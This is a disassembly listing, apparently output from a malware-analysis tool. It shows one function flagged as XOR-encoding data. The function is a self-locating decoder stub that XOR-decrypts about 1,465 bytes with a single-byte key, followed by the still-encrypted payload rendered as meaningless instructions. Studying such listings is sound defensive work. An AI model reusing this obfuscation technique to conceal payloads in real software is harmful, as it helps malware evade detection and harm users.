Function at 0xd4f94c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xd4f956
pushal
call 0xd4f95c
pop ebp
sub ebp, 0x10
sub ebp, 0x94f94c
jmp 0xd4f972
mov eax, 0x94f94c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b9
mov edx, 0xdeb7d4bc
xor byte [eax], dl
inc eax
dec ecx
jne 0xd4f989
jmp 0xd4f99c
aaa
jno 0xd4f9d6
xor eax, 0xbcbcbc80
cmp eax, 0xbcbc447d
mov esp, 0xb80471bf
mov esp, 0x9406bcbc
mov esp, 0x5e4bbcbc
mov edi, 0xb03d3774
mov esp, 0x79bfbcbc
in al, dx
xor eax, ebx
cwde
inc eax
xor eax, 0xb8d498b8
ficomp word [esp + edi*4 - 0x37d40b2c]
mov esp, 0xd49890bd
adc byte [edx - 0x46ab80a1], ch
mov esp, 0x8855bcbc
mov esp, 0xd831bcbc
cwde
cwde
aam 0x10
stosb byte es:[edi], al
pop edi
jg 0xd4fa31
mov ecx, 0x55bcbcbc
mov byte [esp + edi*4 - 0x6727ce44], bh
inc eax
xor eax, 0xe1e89890
aaa
cmp dword [esp + edi*4 + 0x2937bcbc], esi
mov al, 0xbc
mov esp, 0xac3137bc
mov esp, 0x557dbcbc
mov esi, 0x7e3fbe8d
mov eax, 0x4839b3f5
inc ebx
inc ebx
inc ebx
aaa
nop
cwde
xor eax, ebx
cwde
mov eax, 0x37bcb07e
xor byte [eax - 0x43434348], bl
aam 0xb8
ficomp word [esp + edi*4 - 0x37d40b2c]
mov esp, 0x319890bd
fcomp dword [eax - 0x674fcac0]
push esp
mov ecx, 0x55bcbcbc
stc
inc eax
xor eax, 0xb95498b0
mov esp, 0xf955bcbc
mov esi, 0xe8e9bcbc
loope 0xd4fa86
leave
mov al, 0x43
leave
mov ah, 0x54
les edi, [esp + edi*4 - 0x4bfec844]
mov esp, 0x758fbcbc
cmp eax, 0xf799b34e
stosd dword es:[edi], eax
cmp eax, 0xf799b34e
stosd dword es:[edi], eax
invalid
mov esp, 0x3ddabcbc
inc edi
inc ebx
cdq
mov bl, 0x38
test eax, 0xfdbcbcbc
push ebp
jo 0xd4fadb
inc ebx
inc ebx
xchg ebp, eax
invalid
aas
jge 0xd4fa5a
aas
push esp
mov eax, 0x43430155
inc ebx
xchg ebp, eax
call 0x7e14b934
mov edx, 0x3fb8563f
push esp
mov ecx, 0x43431755
inc ebx
aaa
nop
cwde
xor eax, ebx
cwde
mov eax, 0xe9bcb07e
aaa
push eax
ljmp 0x37b0
mov ah, 0x40
push cs
cmp al, 0x36
mov edx, 0xbcbd7a3d
mov esp, 0x3dbb34bc
jnp 0xd4fa9e
mov esp, 0x7b3dbb34
mov ebp, 0x7bcbcbc
mov esi, 0xbebcbcbc
outsb dx, byte [esi]
mov esp, 0xbe07bcbc
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
inc ebx
inc ebx
inc ebx
mov esi, 0xb939b36e
mov esp, 0xaa36bcbc
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
salc
mov esp, 0x7c8fbcbc
mov esi, 0xb939b36e
mov esp, 0xaa36bcbc
jl 0xd4fad0
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
cmp dword [ecx + 0x36bcbcbc], edi
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
xchg esi, eax
mov ebp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0xd4faf2
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0xd4fb01
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0xd4fb10
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0xd4fb14
cmp byte [edx + 0x37bcbcbc], bh
arpl word [edi + 0x34bf3664], dx
mov ebx, 0xbcbe07fb
mov esp, 0x43cc55bc
inc ebx
inc ebx
add al, 0xbd
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0xd4fb4c
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3e
bound eax, qword [ebx + 0x43]
inc ebx
xchg edi, eax
jg 0xd4fbaa
mov ebp, 0xb3bcbcbc
cmp dword [eax + 0x5bcbcbc], ecx
mov ebp, 0xbebcbcbc
outsb dx, byte [esi]
mov esp, 0xbd05bcbc
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jne 0xd4fb80
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3e
bound eax, qword [ebx + 0x43]
inc ebx
ljmp 0x184f